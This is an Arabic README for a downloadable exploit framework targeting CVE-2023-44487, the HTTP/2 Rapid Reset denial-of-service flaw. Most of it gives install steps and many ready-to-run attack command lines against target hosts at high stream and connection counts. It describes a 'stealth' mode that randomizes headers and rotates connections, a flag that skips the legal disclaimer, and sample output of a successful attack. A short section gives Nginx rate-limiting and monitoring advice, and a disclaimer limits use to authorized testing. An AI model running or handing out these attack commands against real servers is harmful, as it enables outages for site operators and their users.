
إطار عمل متقدم لاستغلال ثغرة CVE-2023-44487 الخاصة بـ HTTP/2 Rapid Reset. يتضمن هجمات متزامنة متعددة الاتصالات، وتحكمًا تكيفيًا في المعدل، ووضع التخفي مع رؤوس عشوائية، ومقاييس في الوقت الفعلي، وتقارير تقييم المخاطر. مخصص لاختبار الاختراق المصرح به فقط. بواسطة Sudeepa Wanigarathna
الإصدار الاحترافي v1.0.1 | المؤلف: Sudeepa Wanigarathna
إطار تقييم بمستوى احترافي لثغرة CVE-2023-44487، وهي ثغرة إعادة الضبط السريع في HTTP/2. تساعد هذه الأداة المتخصصين في الأمن السيبراني على اختبار الأنظمة والتحقق منها ضد أحد أكثر حالات رفض الخدمة HTTP/2 تأثيرًا التي تم الكشف عنها في السنوات الأخيرة.
توضح الأداة كيف يمكن للإنشاء السريع وإعادة الضبط لتدفقات HTTP/2 أن يستنزف موارد الخادم ويؤدي إلى حالات رفض الخدمة (DoS).
| الاستخدام | النتائج |
|---|---|
![]() | ![]() |
| السمة | القيمة |
|---|---|
| معرّف CVE | CVE-2023-44487 |
| درجة CVSS | 7.5 (مرتفع) |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| التأثير | رفض الخدمة (استنزاف الموارد) |
| البروتوكولات المتأثرة | HTTP/2 |
| تاريخ الإفصاح | أكتوبر 2023 |
تستغل الثغرة آلية إدارة التدفقات في بروتوكول HTTP/2:
| الميزة | الوصف |
|---|---|
| دعم HTTP/2 | تنفيذ كامل لبروتوكول HTTP/2 باستخدام مكتبة h2 |
| اتصالات متعددة | هجوم متزامن عبر اتصالات متعددة |
| SSL/TLS | دعم HTTPS مع خيارات التحقق من الشهادات |
| تحكم تكيفي في المعدل | يضبط معدل الهجوم ديناميكيًا بناءً على استجابة الخادم |
| وضع التخفي | ترويسات عشوائية وتدوير الاتصالات |
| مراقبة فورية | عرض المقاييس مباشرة أثناء التشغيل |
| تقارير شاملة | مخرجات JSON/CSV مع تقييم المخاطر |
| دعم Docker | نشر عبر الحاويات لسهولة الاختبار |
| المكوّن | الحد الأدنى | الموصى به |
|---|---|---|
| نظام التشغيل | Linux / macOS / Windows | لينكس أو macOS |
| Python | 3.7+ | 3.11+ |
| المعالج | نواتان | 4 أنوية أو أكثر |
| الذاكرة | 2GB | 4GB+ |
| الشبكة | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| الخيار | الوصف | الافتراضي |
|---|---|---|
host | اسم المضيف الهدف أو عنوان IP | مطلوب |
-p, --port | منفذ الهدف | 443 |
--no-ssl | تعطيل SSL/TLS | False |
--no-verify | تخطي التحقق من SSL | False |
| الخيار | الوصف | الافتراضي |
|---|---|---|
-c, --connections | عدد الاتصالات المتزامنة | 50 |
-s, --streams | التدفقات لكل اتصال | 1000 |
-d, --duration | المدة بالثواني | 30 |
--max-streams | الحد الأقصى لإجمالي التدفقات | 100000 |
--delay | التأخير الأساسي بين العمليات | 0.0001s |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--adaptive | تحكم تكيفي في المعدل | True |
--target-rps | الطلبات المستهدفة في الثانية | 10000 |
--stealth | وضع التخفي (ترويسات عشوائية) | False |
--skip-validation | تخطي التحقق من الهدف | False |
--force | تخطي موجه إخلاء المسؤولية القانوني | False |
| الخيار | الوصف | الافتراضي |
|---|---|---|
-o, --output | اسم ملف الإخراج | exploit_results.json |
--format | صيغة الإخراج (json / csv / console) | json |
-v, --verbose | تسجيل مفصّل | False |
استخدم خيارات سطر الأوامر أعلاه لضبط التزامن وحجم التدفقات والمدة والتقارير. يُفضَّل استخدام قيم أقل لـ -c / -s / -d في التحقق الأولي، ثم قم بزيادة الحجم فقط على الأنظمة المصرح لك باختبار ضغطها.
| السيناريو | الخيارات المقترحة |
|---|---|
| اختبار مبدئي سريع | -c 10 -s 100 -d 5 |
| تقييم قياسي | -c 50 -s 1000 -d 30 |
| اختبار معملي بحمل مرتفع | -c 100 -s 2000 -d 60 --stealth |
| شهادة غير موثوقة | --no-verify |
| HTTP عادي | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| المقياس | الوصف | التفسير |
|---|---|---|
| إجمالي التدفقات | عدد التدفقات التي تم إنشاؤها | عدد أعلى = حمل أكبر تم توليده |
| عمليات إعادة الضبط الناجحة | التدفقات التي تمت إعادة ضبطها بنجاح | عادة >90% على الأهداف الضعيفة |
| معدل إعادة الضبط (RPS) | عمليات إعادة الضبط في الثانية | معدل أعلى = حمل أكثر فعالية |
| معدل النجاح | النسبة المئوية لعمليات إعادة الضبط الناجحة | غالبًا ما تشير نسبة >90% إلى قابلية الإصابة |
| أخطاء الاتصال | الاتصالات الفاشلة | منخفض = اتصال مستقر |
| عمليات إعادة الضبط من الخادم | عمليات إعادة ضبط بدأها الخادم | مرتفع = وجود إجراءات حماية |
| المستوى | الدرجة | المعنى |
|---|---|---|
| حرج | 80–100 | الخادم شديد الضعف |
| مرتفع | 60–79 | الخادم عرضة للخطر، مع وجود بعض الحماية |
| متوسط | 40–59 | توجد بعض الحماية |
| منخفض | 0–39 | خادم محمي جيدًا |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
تطبيق التصحيحات الأمنية
تطبيق الحد من المعدل
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
حدود الاتصالات
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| الإعداد | التوصية |
|---|---|
| الحد الأقصى للتدفقات المتزامنة | اضبطه على 100–200 لكل اتصال |
| معدل إعادة ضبط التدفقات | الحد إلى <100/ثانية لكل عميل |
| حد الاتصالات | بحد أقصى 50–100 اتصال لكل عنوان IP |
| قيم المهلة | قلل مهلات الخمول |
| حدود حجم الطلبات | حدد أحجام الترويسات والحمولة |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
هام: اقرأ هذا بعناية قبل استخدام هذه الأداة
هذه الأداة مقدمة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط.
باستخدامك لهذه الأداة، فإنك تقر وتوافق على أن:
يجب عدم استخدام هذه الأداة في:
يقدم المؤلف والمساهمون هذه الأداة «كما هي» دون أي ضمان. استخدام هذه الأداة يكون على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي أضرار أو مشكلات قانونية ناتجة عن استخدام هذه الأداة.
قد ينتهك الاستخدام غير المصرح به لهذه الأداة قوانين تشمل على سبيل المثال لا الحصر:
Sudeepa Wanigarathna
connection_attempts--skip-validationهذا المشروع مرخص بموجب رخصة MIT — راجع ملف LICENSE للحصول على التفاصيل.
h2 وaiohttp)للمشكلات والأسئلة:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
تذكير: احصل دائمًا على التصريح المناسب قبل اختبار أي نظام. استخدم هذه الأداة بمسؤولية وأخلاقية.
تتم الصيانة بواسطة Sudeepa Wanigarathna | آخر تحديث: أغسطس 2026